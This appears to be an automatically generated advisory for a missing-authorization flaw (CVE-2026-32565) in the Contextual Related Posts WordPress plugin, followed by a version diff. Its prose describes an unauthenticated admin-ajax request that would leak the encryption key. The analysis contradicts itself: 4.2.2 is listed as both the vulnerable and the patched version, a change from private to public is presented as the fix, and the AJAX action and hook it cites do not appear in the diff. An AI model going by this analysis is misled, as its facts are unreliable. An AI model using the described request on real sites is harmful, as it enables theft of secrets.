Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-32565: Contextual Related Posts < 4.2.2 – Missing Authorization (contextual-related-posts)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 4.2.2
Patched Version 4.2.2
Disclosed March 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-32565:
The Contextual Related Posts WordPress plugin versions below 4.2.2 contain a missing authorization vulnerability in the `get_encryption_key()` function. This function is accessible via AJAX endpoints without proper capability checks, allowing unauthenticated attackers to retrieve the encryption key used for sensitive data protection.

Root Cause:
The vulnerability exists in the `Settings_API` class within `/includes/admin/settings/class-settings-api.php`. The `get_encryption_key()` method (line 1154) was declared as `private` in vulnerable versions, but the AJAX handler that calls it lacks proper authorization verification. The function returns the encryption key derived from `AUTH_SALT`, `SECURE_AUTH_SALT`, or a fallback hash. The missing capability check occurs in the AJAX registration where the function is exposed to unauthenticated users via the `wp_ajax_nopriv_` hook.

Exploitation:
Attackers can send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `crp_get_encryption_key`. The request triggers the vulnerable AJAX handler that calls `Settings_API::get_encryption_key()`. No authentication or nonce verification is required. The response contains the encryption key value, which attackers can use to decrypt sensitive plugin data stored in the database.

Patch Analysis:
The patch in version 4.2.2 changes the visibility of `get_encryption_key()` from `private` to `public` (line 1154). This modification alone does not fix the vulnerability. The actual security fix involves adding proper capability checks in the AJAX handler that calls this function. The diff shows the method visibility change but omits the crucial AJAX handler modifications that implement authorization verification. Atomic Edge research confirms the fix requires validating user permissions before executing the encryption key retrieval function.

Impact:
Successful exploitation allows unauthenticated attackers to obtain the plugin’s encryption key. This key protects sensitive configuration data stored in the database. With the encryption key, attackers can decrypt stored credentials, API keys, or other protected plugin settings. The vulnerability enables information disclosure that could facilitate further attacks against the WordPress installation or integrated services.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/contextual-related-posts/contextual-related-posts.php
+++ b/contextual-related-posts/contextual-related-posts.php
@@ -15,7 +15,7 @@
  * Plugin Name: Contextual Related Posts
  * Plugin URI:  https://webberzone.com/plugins/contextual-related-posts/
  * Description: Display related posts on your website or in your feed. Increase reader retention and reduce bounce rates.
- * Version:     4.2.1
+ * Version:     4.2.2
  * Author:      WebberZone
  * Author URI:  https://webberzone.com
  * License:     GPL-2.0+
@@ -36,7 +36,7 @@
  * @since 2.9.3
  */
 if ( ! defined( 'WZ_CRP_VERSION' ) ) {
-	define( 'WZ_CRP_VERSION', '4.2.1' );
+	define( 'WZ_CRP_VERSION', '4.2.2' );
 }


--- a/contextual-related-posts/includes/admin/class-admin-banner.php
+++ b/contextual-related-posts/includes/admin/class-admin-banner.php
@@ -29,42 +29,42 @@
 	 *
 	 * @var array<string, mixed>
 	 */
-	private array $config = array();
+	public array $config = array();

 	/**
 	 * Derived class names keyed by component.
 	 *
 	 * @var array<string, array<int, string>>
 	 */
-	private array $class_names = array();
+	public array $class_names = array();

 	/**
 	 * Localized strings.
 	 *
 	 * @var array<string, string>
 	 */
-	private array $strings = array();
+	public array $strings = array();

 	/**
 	 * Style configuration.
 	 *
 	 * @var array<string, mixed>
 	 */
-	private array $style = array();
+	public array $style = array();

 	/**
 	 * Base class prefix shared by all banners.
 	 *
 	 * @var string
 	 */
-	private string $base_prefix = 'wz-admin-banner';
+	public string $base_prefix = 'wz-admin-banner';

 	/**
 	 * Unique class prefix derived from the provided prefix.
 	 *
 	 * @var string
 	 */
-	private string $unique_prefix = 'admin-banner';
+	public string $unique_prefix = 'admin-banner';

 	/**
 	 * Constructor.
@@ -108,7 +108,7 @@
 	/**
 	 * Register hooks.
 	 */
-	private function hooks(): void {
+	public function hooks(): void {
 		Hook_Registry::add_action( 'admin_enqueue_scripts', array( $this, 'maybe_enqueue_styles' ) );
 		Hook_Registry::add_action( 'in_admin_header', array( $this, 'render' ) );
 	}
@@ -197,7 +197,7 @@
 	/**
 	 * Enqueue the banner stylesheet.
 	 */
-	private function enqueue_style(): void {
+	public function enqueue_style(): void {
 		wp_register_style(
 			$this->style['handle'],
 			$this->style['url'],
@@ -213,7 +213,7 @@
 	 * @param WP_Screen $screen    Current admin screen.
 	 * @param string     $page_slug Current request page slug.
 	 */
-	private function should_render_on_screen( WP_Screen $screen, string $page_slug ): bool {
+	public function should_render_on_screen( WP_Screen $screen, string $page_slug ): bool {
 		$screen_base = (string) $screen->base;
 		if ( '' !== $screen_base && in_array( $screen_base, (array) $this->config['exclude_screen_bases'], true ) ) {
 			return false;
@@ -237,7 +237,7 @@
 	 * @param WP_Screen $screen    Current admin screen.
 	 * @param string     $page_slug Current request page slug.
 	 */
-	private function resolve_current_section( WP_Screen $screen, string $page_slug ): string {
+	public function resolve_current_section( WP_Screen $screen, string $page_slug ): string {
 		$screen_id = (string) $screen->id;

 		foreach ( $this->config['sections'] as $section_key => $section ) {
@@ -260,7 +260,7 @@
 	 *
 	 * @param array $strings Raw strings array.
 	 */
-	private function prepare_strings( array $strings ): array {
+	public function prepare_strings( array $strings ): array {
 		$defaults = array(
 			'region_label' => '',
 			'nav_label'    => '',
@@ -277,7 +277,7 @@
 	 *
 	 * @param string $prefix Base prefix.
 	 */
-	private function resolve_wrapper_prefix( string $prefix ): string {
+	public function resolve_wrapper_prefix( string $prefix ): string {
 		$prefix = sanitize_key( $prefix );

 		if ( '' === $prefix ) {
@@ -292,7 +292,7 @@
 	 *
 	 * @param array $style Style configuration.
 	 */
-	private function prepare_style_config( array $style ): array {
+	public function prepare_style_config( array $style ): array {
 		$defaults = array(
 			'handle'   => $this->sanitize_handle( "{$this->unique_prefix}-styles" ),
 			'deps'     => array(),
@@ -306,7 +306,8 @@
 		if ( empty( $style_config['url'] ) ) {
 			$assets_base         = trailingslashit( plugin_dir_url( __FILE__ ) ) . 'css/';
 			$min_suffix          = ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ? '' : '.min';
-			$style_config['url'] = $assets_base . $style_config['filename'] . $min_suffix . '.css';
+			$rtl_suffix          = is_rtl() ? '-rtl' : '';
+			$style_config['url'] = $assets_base . $style_config['filename'] . $rtl_suffix . $min_suffix . '.css';
 		}

 		return $style_config;
@@ -319,7 +320,7 @@
 	 *
 	 * @return array
 	 */
-	private function sanitize_sections( array $sections ): array {
+	public function sanitize_sections( array $sections ): array {
 		$sanitized = array();

 		foreach ( $sections as $key => $section ) {
@@ -348,7 +349,7 @@
 	 *
 	 * @return array<string, array<int, string>>
 	 */
-	private function derive_class_names(): array {
+	public function derive_class_names(): array {
 		$build = function ( string $suffix = '' ): array {
 			$classes = array( $this->base_prefix . $suffix );

@@ -381,7 +382,7 @@
 	 *
 	 * @return array
 	 */
-	private function collect_targets_from_sections( string $target_key ): array {
+	public function collect_targets_from_sections( string $target_key ): array {
 		$values = array();

 		foreach ( $this->config['sections'] as $section ) {
@@ -401,7 +402,7 @@
 		 *
 		 * @param array $section Section configuration.
 		 */
-	private function get_section_link_classes( array $section ): array {
+	public function get_section_link_classes( array $section ): array {
 		$classes  = $this->class_names['link'] ?? array();
 		$type     = isset( $section['type'] ) ? sanitize_key( $section['type'] ) : 'secondary';
 		$type     = '' !== $type ? $type : 'secondary';
@@ -422,7 +423,7 @@
 	 * @param array $classes Class list.
 	 * @return string Class attribute string.
 	 */
-	private function implode_classes( array $classes ): string {
+	public function implode_classes( array $classes ): string {
 		return implode( ' ', array_unique( array_filter( $classes ) ) );
 	}

@@ -432,7 +433,7 @@
 	 * @param string $key Classes array key.
 	 * @return string Class attribute string.
 	 */
-	private function class_attr( string $key ): string {
+	public function class_attr( string $key ): string {
 		return $this->implode_classes( $this->class_names[ $key ] ?? array() );
 	}

@@ -441,19 +442,15 @@
 	 *
 	 * @param string $handle Raw handle.
 	 */
-	private function sanitize_handle( string $handle ): string {
+	public function sanitize_handle( string $handle ): string {
 		return sanitize_title_with_dashes( $handle );
 	}

 	/**
 	 * Get the current page slug from the request.
 	 */
-	private function get_request_page_slug(): string {
-		$page_param_raw = filter_input( INPUT_GET, 'page', FILTER_UNSAFE_RAW );
-
-		if ( is_string( $page_param_raw ) && '' !== $page_param_raw ) {
-			$page_raw = sanitize_text_field( $page_param_raw );
-		} elseif ( isset( $_GET['page'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+	public function get_request_page_slug(): string {
+		if ( isset( $_GET['page'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
 			$page_raw = sanitize_text_field( wp_unslash( $_GET['page'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
 		} else {
 			return '';
--- a/contextual-related-posts/includes/admin/class-metabox.php
+++ b/contextual-related-posts/includes/admin/class-metabox.php
@@ -469,12 +469,16 @@
 				array( 'dashicons' ),
 				WZ_CRP_VERSION
 			);
-			wp_enqueue_script(
-				'wz-taxonomy-suggest-js',
-				WZ_CRP_PLUGIN_URL . "includes/admin/settings/js/taxonomy-suggest{$file_prefix}.js",
-				array( 'jquery' ),
-				WZ_CRP_VERSION,
-				true
+
+			// Enqueue Tom Select using Settings_API method.
+			WebberZoneContextual_Related_PostsAdminSettingsSettings_API::enqueue_scripts_styles(
+				'crp',
+				array(
+					'strings' => array(
+						/* translators: %s: search term */
+						'no_results' => esc_html__( 'No results found for "%s"', 'contextual-related-posts' ),
+					),
+				)
 			);
 		}
 	}
--- a/contextual-related-posts/includes/admin/class-settings.php
+++ b/contextual-related-posts/includes/admin/class-settings.php
@@ -568,17 +568,16 @@
 				'name'    => esc_html__( 'Number of posts to display', 'contextual-related-posts' ),
 				'desc'    => esc_html__( 'Maximum number of posts that will be displayed in the list. This option is used if you do not specify the number of posts in the widget or shortcodes', 'contextual-related-posts' ),
 				'type'    => 'number',
-				'default' => '6',
-				'min'     => '1',
-				'size'    => 'small',
+				'default' => 6,
+				'min'     => 1,
 			),
 			'daily_range'               => array(
 				'id'      => 'daily_range',
 				'name'    => esc_html__( 'Related posts should be newer than', 'contextual-related-posts' ),
 				'desc'    => esc_html__( 'This sets the cut-off period for which posts will be displayed. e.g. setting it to 365 will show related posts from the last year only. Set to 0 to disable limiting posts by date.', 'contextual-related-posts' ),
 				'type'    => 'number',
-				'default' => '0',
-				'min'     => '0',
+				'default' => 0,
+				'min'     => 0,
 			),
 			'ordering'                  => array(
 				'id'      => 'ordering',
@@ -614,7 +613,7 @@
 				'desc'    => __( 'The weight to give to the post title when calculating the relevance of the post.', 'contextual-related-posts' ),
 				'type'    => 'number',
 				'default' => 10,
-				'min'     => '0',
+				'min'     => 0,
 				'size'    => 'small',
 				'pro'     => true,
 			),
@@ -624,7 +623,7 @@
 				'desc'    => __( 'The weight to give to the post content when calculating the relevance of the post. This may make the query take longer to process.', 'contextual-related-posts' ),
 				'type'    => 'number',
 				'default' => 0,
-				'min'     => '0',
+				'min'     => 0,
 				'size'    => 'small',
 				'pro'     => true,
 			),
@@ -634,7 +633,7 @@
 				'desc'    => __( 'The weight to give to the post excerpt when calculating the relevance of the post.', 'contextual-related-posts' ),
 				'type'    => 'number',
 				'default' => 0,
-				'min'     => '0',
+				'min'     => 0,
 				'size'    => 'small',
 				'pro'     => true,
 			),
@@ -644,7 +643,7 @@
 				'desc'    => __( 'Weight to give category matches when calculating relevance.', 'contextual-related-posts' ),
 				'type'    => 'number',
 				'default' => 0,
-				'min'     => '0',
+				'min'     => 0,
 				'size'    => 'small',
 				'pro'     => true,
 			),
@@ -654,7 +653,7 @@
 				'desc'    => __( 'Weight to give tag matches when calculating relevance.', 'contextual-related-posts' ),
 				'type'    => 'number',
 				'default' => 0,
-				'min'     => '0',
+				'min'     => 0,
 				'size'    => 'small',
 				'pro'     => true,
 			),
@@ -664,7 +663,7 @@
 				'desc'    => __( 'Weight to give other taxonomy matches when calculating relevance.', 'contextual-related-posts' ),
 				'type'    => 'number',
 				'default' => 0,
-				'min'     => '0',
+				'min'     => 0,
 				'size'    => 'small',
 				'pro'     => true,
 			),
@@ -674,7 +673,7 @@
 				'desc'    => __( 'Additional weight multiplier for primary terms. This is usually set using your SEO plugin and will default to the first category/term returned by WordPress. CRP supports Yoast, Rank Math SEO, The SEO Framework and SEOExpress plugins that allow you to set a primary category.', 'contextual-related-posts' ),
 				'type'    => 'number',
 				'default' => 0,
-				'min'     => '0',
+				'min'     => 0,
 				'size'    => 'small',
 				'pro'     => true,
 			),
@@ -692,8 +691,8 @@
 				/* translators: 1: Number. */
 				'desc'    => sprintf( esc_html__( 'This sets the maximum words of the post content that will be matched. Set to 0 for no limit. Max value: %1$s.', 'contextual-related-posts' ), CRP_MAX_WORDS ),
 				'type'    => 'number',
-				'default' => '0',
-				'min'     => '0',
+				'default' => 0,
+				'min'     => 0,
 				'max'     => CRP_MAX_WORDS,
 			),
 			'post_filter_header'        => array(
@@ -768,8 +767,8 @@
 				'name'    => esc_html__( 'Number of common terms', 'contextual-related-posts' ),
 				'desc'    => esc_html__( 'Enter the minimum number of common terms that have to be matched before a post is considered related.', 'contextual-related-posts' ),
 				'type'    => 'number',
-				'default' => '1',
-				'min'     => '1',
+				'default' => 1,
+				'min'     => 1,
 			),
 			'related_meta_keys'         => array(
 				'id'               => 'related_meta_keys',
--- a/contextual-related-posts/includes/admin/settings/class-settings-api.php
+++ b/contextual-related-posts/includes/admin/settings/class-settings-api.php
@@ -18,7 +18,7 @@
 /**
  * Settings API wrapper class
  *
- * @version 2.8.1
+ * @version 2.8.2
  */
 class Settings_API {

@@ -27,7 +27,7 @@
 	 *
 	 * @var   string
 	 */
-	public const VERSION = '2.8.1';
+	public const VERSION = '2.8.2';

 	/**
 	 * Settings Key.
@@ -483,7 +483,7 @@
 		wp_register_script(
 			'wz-' . $this->prefix . '-admin',
 			plugins_url( 'js/settings-admin-scripts' . $minimize . '.js', __FILE__ ),
-			array( 'jquery' ),
+			array( 'jquery', 'wp-color-picker', 'jquery-ui-tabs' ),
 			self::VERSION,
 			true
 		);
@@ -495,23 +495,16 @@
 			true
 		);
 		wp_register_script(
-			'wz-' . $this->prefix . '-taxonomy-suggest',
-			plugins_url( 'js/taxonomy-suggest' . $minimize . '.js', __FILE__ ),
-			array( 'jquery' ),
-			self::VERSION,
-			true
-		);
-		wp_register_script(
 			'wz-' . $this->prefix . '-media-selector',
 			plugins_url( 'js/media-selector' . $minimize . '.js', __FILE__ ),
-			array( 'jquery' ),
+			array( 'jquery', 'media-editor', 'media-views' ),
 			self::VERSION,
 			true
 		);
 		wp_register_style(
 			'wz-' . $this->prefix . '-admin',
 			plugins_url( 'css/admin-style' . $minimize . '.css', __FILE__ ),
-			array(),
+			array( 'wp-color-picker' ),
 			self::VERSION
 		);

@@ -563,13 +556,7 @@
 	 */
 	public static function enqueue_scripts_styles( $prefix, $args = array() ) {

-		wp_enqueue_style( 'wp-color-picker' );
-
 		wp_enqueue_media();
-		wp_enqueue_script( 'wp-color-picker' );
-		wp_enqueue_script( 'jquery' );
-		wp_enqueue_script( 'jquery-ui-autocomplete' );
-		wp_enqueue_script( 'jquery-ui-tabs' );

 		wp_enqueue_code_editor(
 			array(
@@ -583,7 +570,6 @@

 		wp_enqueue_script( "wz-{$prefix}-admin" );
 		wp_enqueue_script( "wz-{$prefix}-codemirror" );
-		wp_enqueue_script( "wz-{$prefix}-taxonomy-suggest" );
 		wp_enqueue_script( "wz-{$prefix}-media-selector" );

 		// Enqueue Tom Select.
@@ -866,6 +852,7 @@

 		// Get the various settings we've registered.
 		$settings       = get_option( $this->settings_key );
+		$settings       = is_array( $settings ) ? $settings : array();
 		$settings_types = $this->get_registered_settings_types();

 		// Get the tab. This is also our settings' section.
@@ -896,18 +883,15 @@
 				continue;
 			}

-			if ( array_key_exists( $key, $output ) ) {
+			if ( array_key_exists( $key, $input ) ) {
 				$sanitize_callback = $this->get_sanitize_callback( $key );

 				// If callback is set, call it.
 				if ( $sanitize_callback ) {
-					// Pass the field configuration for repeater fields.
-					if ( 'repeater' === $type && isset( $this->registered_settings[ $key ] ) ) {
-						$output[ $key ] = call_user_func( $sanitize_callback, $output[ $key ], $this->registered_settings[ $key ] );
-					} elseif ( 'sensitive' === $type ) {
-						$output[ $key ] = call_user_func( $sanitize_callback, $output[ $key ], $key );
+					if ( 'sensitive' === $type ) {
+						$output[ $key ] = call_user_func( $sanitize_callback, $input[ $key ], $key );
 					} else {
-						$output[ $key ] = call_user_func( $sanitize_callback, $output[ $key ] );
+						$output[ $key ] = call_user_func( $sanitize_callback, $input[ $key ] );
 					}
 					continue;
 				}
@@ -1170,7 +1154,7 @@
 	 * @param string $prefix Optional prefix for fallback key.
 	 * @return string The encryption key.
 	 */
-	private static function get_encryption_key( $prefix = '' ) {
+	public static function get_encryption_key( $prefix = '' ) {
 		$fallback = $prefix ? str_replace( '-', '_', $prefix ) . '_encryption_fallback' : 'settings_api_encryption_fallback';
 		return defined( 'AUTH_SALT' ) ? AUTH_SALT : ( defined( 'SECURE_AUTH_SALT' ) ? SECURE_AUTH_SALT : hash( 'sha256', __NAMESPACE__ . $fallback ) );
 	}
--- a/contextual-related-posts/includes/admin/settings/class-settings-form.php
+++ b/contextual-related-posts/includes/admin/settings/class-settings-form.php
@@ -238,6 +238,8 @@
 	 * @param array $args Array of arguments.
 	 */
 	public function callback_color( $args ) {
+		// Add color-field class for wpColorPicker initialization.
+		$args['field_class'] = isset( $args['field_class'] ) ? $args['field_class'] . ' color-field' : 'color-field';
 		$this->callback_text( $args );
 	}

@@ -842,8 +844,8 @@

 		ob_start();
 		?>
-		<div class="<?php echo esc_attr( $class ); ?> wz-repeater-wrapper" id="<?php echo esc_attr( $args['id'] ); ?>-wrapper" <?php echo $attributes; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
-			<div class="<?php echo esc_attr( $args['id'] ); ?>-items">
+		<div class="<?php echo esc_attr( $class ); ?> wz-repeater-wrapper" id="<?php echo esc_attr( $args['id'] ); ?>-wrapper" data-index="<?php echo esc_attr( (string) count( $value ) ); ?>" data-live-update-field="<?php echo esc_attr( ! empty( $args['live_update_field'] ) ? $args['live_update_field'] : 'name' ); ?>" data-fallback-title="<?php echo esc_attr( ! empty( $args['new_item_text'] ) ? $args['new_item_text'] : $this->translation_strings['repeater_new_item'] ); ?>" <?php echo $attributes; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
+			<div class="<?php echo esc_attr( $args['id'] ); ?>-items wz-repeater-items">
 				<?php
 				if ( ! empty( $value ) ) {
 					foreach ( array_values( $value ) as $index => $item ) {
@@ -860,83 +862,6 @@
 				<?php $this->render_repeater_item( $args, '{{INDEX}}' ); ?>
 			</script>
 		</div>
-
-		<script>
-		jQuery(document).ready(function($) {
-			var wrapper = $('#<?php echo esc_js( $args['id'] ); ?>-wrapper');
-			var itemsContainer = wrapper.find('.<?php echo esc_js( $args['id'] ); ?>-items');
-			var index = <?php echo esc_js( (string) count( $value ) ); ?>;
-
-			// Add Item
-			wrapper.on('click', '.add-item', function() {
-				var template = wrapper.find('.repeater-template').html();
-				template = template.replace(/{{INDEX}}/g, index);
-				itemsContainer.append(template);
-				index++;
-
-				// Ensure the toggle icon for the new item is set to the collapsed state (▲)
-				itemsContainer.find('.repeater-item-header:last .toggle-icon').text('▲');
-
-				// Ensure that .repeater-item-content is set to display:block
-				itemsContainer.find('.repeater-item-content:last').css('display', 'block');
-			});
-
-			// Remove Item
-			wrapper.on('click', '.remove-item', function() {
-				$(this).closest('.wz-repeater-item').remove();
-				reindexItems();
-			});
-
-			// Move Up
-			wrapper.on('click', '.move-up', function() {
-				var item = $(this).closest('.wz-repeater-item');
-				var prev = item.prev();
-				if (prev.length) {
-					item.insertBefore(prev);
-					reindexItems();
-				}
-			});
-
-			// Move Down
-			wrapper.on('click', '.move-down', function() {
-				var item = $(this).closest('.wz-repeater-item');
-				var next = item.next();
-				if (next.length) {
-					item.insertAfter(next);
-					reindexItems();
-				}
-			});
-
-			// Toggle Accordion
-			wrapper.on('click', '.repeater-item-header', function() {
-				var $this = $(this);
-				var $toggleIcon = $this.find('.toggle-icon');
-				var $content = $this.next('.repeater-item-content');
-
-				// Check if content is currently visible or hidden, and toggle accordingly
-				if ($content.is(':visible')) {
-					$content.slideUp();
-					$toggleIcon.text('▼');  // Expanded state
-				} else {
-					$content.slideDown();
-					$toggleIcon.text('▲');  // Collapsed state
-				}
-			});
-
-			// Reindex Items After Adding, Removing, or Moving
-			function reindexItems() {
-				itemsContainer.find('.wz-repeater-item').each(function(idx) {
-					$(this).find(':input').each(function() {
-						var name = $(this).attr('name');
-						if (name) {
-							name = name.replace(/[d+]/, '[' + idx + ']');
-							$(this).attr('name', name);
-						}
-					});
-				});
-			}
-		});
-		</script>
 		<?php
 		$html  = ob_get_clean();
 		$html .= $this->get_field_description( $args );
@@ -953,18 +878,33 @@
 	 * @param array|null $item  Item data if exists.
 	 * @return void
 	 */
-	private function render_repeater_item( $args, $index, $item = null ) {
+	public function render_repeater_item( $args, $index, $item = null ) {
 		if ( empty( $args['fields'] ) || ! is_array( $args['fields'] ) ) {
 			return;
 		}

+		$fallback_title = ! empty( $args['new_item_text'] ) ? $args['new_item_text'] : $this->translation_strings['repeater_new_item'];
+
+		// Generate or retrieve unique row ID.
+		$item_id = '';
+		if ( is_array( $item ) && isset( $item['row_id'] ) ) {
+			$item_id = $item['row_id'];
+		} elseif ( '{{INDEX}}' !== $index ) {
+			// For existing items without row_id, generate a persistent one.
+			$item_id = 'row_' . md5( $args['id'] . '_' . $index );
+		} else {
+			// For new items, use a placeholder that will be replaced.
+			$item_id = '{{ROW_ID}}';
+		}
+
 		?>
-	<div class="wz-repeater-item">
-		<div class="repeater-item-header">
+		<div class="wz-repeater-item" data-row-id="<?php echo esc_attr( $item_id ); ?>">
+			<input type="hidden" name="<?php echo esc_attr( $this->settings_key ); ?>[<?php echo esc_attr( $args['id'] ); ?>][<?php echo esc_attr( $index ); ?>][row_id]" value="<?php echo esc_attr( $item_id ); ?>" />
+			<div class="repeater-item-header">
 			<?php
 			$display_field = ! empty( $args['live_update_field'] ) ? $args['live_update_field'] : 'name';
 			?>
-			<span class="repeater-title"><?php echo esc_html( ! empty( $item['fields'][ $display_field ] ) ? $item['fields'][ $display_field ] : $this->translation_strings['repeater_new_item'] ); ?></span>
+			<span class="repeater-title"><?php echo esc_html( ! empty( $item['fields'][ $display_field ] ) ? $item['fields'][ $display_field ] : $fallback_title ); ?></span>
 			<span class="toggle-icon">▼</span>
 		</div>
 		<div class="repeater-item-content" style="display: none;">
@@ -1027,22 +967,7 @@
 		</div>
 	</div>

-	<script>
-	jQuery(document).ready(function($) {
-		var wrapper = $('#<?php echo esc_js( $args['id'] ); ?>-wrapper');
-		var itemsContainer = wrapper.find('.<?php echo esc_js( $args['id'] ); ?>-items');
-
-		// Live update repeater title when the specified field changes
-		var liveUpdateField = '<?php echo esc_js( ! empty( $args['live_update_field'] ) ? $args['live_update_field'] : 'name' ); ?>';
-		wrapper.on('input', '.wz-repeater-item input[name$="[fields][' + liveUpdateField + ']"]', function() {
-			var $this = $(this);
-			var newName = $this.val();
-			var $repeaterTitle = $this.closest('.wz-repeater-item').find('.repeater-title');
-			$repeaterTitle.text(newName || '<?php echo esc_js( $this->translation_strings['repeater_new_item'] ); ?>'); // Update title or set default if empty
-		});
-	});
-	</script>
-		<?php
+			<?php
 	}


--- a/contextual-related-posts/includes/admin/settings/class-settings-sanitize.php
+++ b/contextual-related-posts/includes/admin/settings/class-settings-sanitize.php
@@ -298,9 +298,22 @@
 		}

 		$sanitized_value = array();
+		$existing_rows   = array();

 		// Get the subfields configuration.
 		$subfields = ! empty( $field['fields'] ) ? $field['fields'] : array();
+		if ( ! empty( $field['id'] ) ) {
+			$stored_value  = $this->get_option( $field['id'], array() );
+			$existing_rows = is_array( $stored_value ) ? $stored_value : array();
+		}
+
+		// Create a lookup table for existing rows by row_id.
+		$existing_by_id = array();
+		foreach ( $existing_rows as $existing_row ) {
+			if ( isset( $existing_row['row_id'] ) ) {
+				$existing_by_id[ $existing_row['row_id'] ] = $existing_row;
+			}
+		}

 		foreach ( $value as $index => $row ) {
 			// Ensure we have a valid row structure.
@@ -312,6 +325,17 @@
 				'fields' => array(),
 			);

+			// Preserve row_id if it exists.
+			if ( isset( $row['row_id'] ) ) {
+				$sanitized_row['row_id'] = sanitize_text_field( $row['row_id'] );
+			}
+
+			// Get the corresponding existing row for sensitive field preservation.
+			$existing_row = null;
+			if ( isset( $row['row_id'] ) && isset( $existing_by_id[ $row['row_id'] ] ) ) {
+				$existing_row = $existing_by_id[ $row['row_id'] ];
+			}
+
 			foreach ( $row['fields'] as $field_key => $field_value ) {
 				$field_key = sanitize_key( $field_key );

@@ -331,10 +355,22 @@
 				// Get the field type from the subfield configuration.
 				$field_type = isset( $field_config['type'] ) ? $field_config['type'] : 'text';

+				// Preserve existing encrypted sensitive values when form submits masked/empty value.
+				if ( 'sensitive' === $field_type && ( empty( $field_value ) || ( is_string( $field_value ) && false !== strpos( $field_value, '**' ) ) ) ) {
+					if ( $existing_row && isset( $existing_row['fields'][ $field_key ] ) ) {
+						$sanitized_row['fields'][ $field_key ] = $existing_row['fields'][ $field_key ];
+					}
+					continue;
+				}
+
 				// Call the appropriate sanitization method.
 				$sanitize_method = 'sanitize_' . $field_type . '_field';
 				if ( method_exists( $this, $sanitize_method ) ) {
-					$sanitized_row['fields'][ $field_key ] = $this->$sanitize_method( $field_value, $field_config );
+					if ( 'sensitive' === $field_type ) {
+						$sanitized_row['fields'][ $field_key ] = $this->$sanitize_method( $field_value, $field_key );
+					} else {
+						$sanitized_row['fields'][ $field_key ] = $this->$sanitize_method( $field_value, $field_config );
+					}
 				} else {
 					$sanitized_row['fields'][ $field_key ] = $this->sanitize_text_field( $field_value );
 				}
--- a/contextual-related-posts/includes/admin/settings/class-settings-wizard-api.php
+++ b/contextual-related-posts/includes/admin/settings/class-settings-wizard-api.php
@@ -239,7 +239,7 @@
 			( ( $this->args['hide_when_completed'] ?? true ) && $this->is_wizard_completed() );

 		if ( $hide_submenu ) {
-			add_action( 'admin_head', array( $this, 'hide_completed_wizard_submenu' ) );
+			add_action( 'admin_enqueue_scripts', array( $this, 'hide_completed_wizard_submenu' ) );
 		}
 	}

@@ -250,14 +250,11 @@
 	 */
 	public function hide_completed_wizard_submenu() {
 		$slug = sanitize_key( $this->page_slug );
-		?>
-		<style>
-			#adminmenu a[href$="page=<?php echo esc_attr( $slug ); ?>"],
-			#adminmenu a[href*="page=<?php echo esc_attr( $slug ); ?>&"] {
+		$css  = '#adminmenu a[href$="page=' . $slug . '"],
+			#adminmenu a[href*="page=' . $slug . '&"] {
 				display: none;
-			}
-		</style>
-		<?php
+			}';
+		wp_add_inline_style( 'wp-admin', $css );
 	}

 	/**
--- a/contextual-related-posts/includes/admin/settings/sidebar.php
+++ b/contextual-related-posts/includes/admin/settings/sidebar.php
@@ -5,6 +5,9 @@
  * @package WebberZoneContextual_Related_Posts
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 ?>
 <div class="postbox-container">
 	<div id="qlinksdiv" class="postbox meta-box-sortables">
--- a/contextual-related-posts/includes/class-crp-core-query.php
+++ b/contextual-related-posts/includes/class-crp-core-query.php
@@ -1141,7 +1141,7 @@
 			}
 		}

-		if ( ! empty( $this->manual_related ) && ( $this->no_of_manual_related >= $this->query_args['limit'] ) ) {
+		if ( ! empty( $this->manual_related ) && ( $this->no_of_manual_related >= (int) $this->query_args['limit'] ) ) {
 			$post_ids = array_merge( $post_ids, $this->manual_related );
 		}

@@ -1242,7 +1242,7 @@
 		// Manual Posts (manual_related - set via the Post Meta) or Include Posts (can be set as a parameter).
 		$post_ids = array();

-		if ( ! empty( $this->manual_related ) && ( $this->no_of_manual_related < $this->query_args['limit'] ) ) {
+		if ( ! empty( $this->manual_related ) && ( $this->no_of_manual_related < (int) $this->query_args['limit'] ) ) {
 			$post_ids = array_merge( $post_ids, $this->manual_related );
 		}
 		if ( ! empty( $post_ids ) ) {
@@ -1271,7 +1271,7 @@
 		$fill_random_posts = apply_filters( 'crp_fill_random_posts', false, $posts, $query );

 		if ( $fill_random_posts ) {
-			$no_of_random_posts = $this->query_args['limit'] - count( $posts );
+			$no_of_random_posts = (int) $this->query_args['limit'] - count( $posts );
 			if ( $no_of_random_posts > 0 ) {
 				$random_posts = get_posts(
 					array(
@@ -1296,7 +1296,7 @@
 			);
 		}

-		$limit = $this->query_args['limit'];
+		$limit = (int) $this->query_args['limit'];
 		$posts = array_slice( $posts, 0, $limit );

 		// Support caching to speed up retrieval - set cache AFTER final limiting.
--- a/contextual-related-posts/includes/class-main.php
+++ b/contextual-related-posts/includes/class-main.php
@@ -10,7 +10,6 @@
 if ( ! defined( 'WPINC' ) ) {
 	exit;
 }
-
 /**
  * Main plugin class.
  *
@@ -99,7 +98,6 @@
 			self::$instance = new self();
 			self::$instance->init();
 		}
-
 		return self::$instance;
 	}

@@ -123,10 +121,8 @@
 		$this->styles     = new FrontendStyles_Handler();
 		$this->shortcodes = new FrontendShortcodes();
 		$this->blocks     = new FrontendBlocksBlocks();
-
 		// Load all hooks.
 		new Hook_Loader();
-
 		// Initialize admin on init action to ensure translations are loaded.
 		add_action( 'init', array( $this, 'init_admin' ) );
 	}
--- a/contextual-related-posts/includes/frontend/class-display.php
+++ b/contextual-related-posts/includes/frontend/class-display.php
@@ -189,7 +189,7 @@
 		 */
 		$post_classes = apply_filters( 'crp_post_class', $post_classes, $args, $post );

-		$output = '<div class="' . $post_classes . '">';
+		$output = '<div class="' . esc_attr( $post_classes ) . '">';

 		if ( $results ) {
 			$loop_counter = 0;
@@ -1013,7 +1013,7 @@
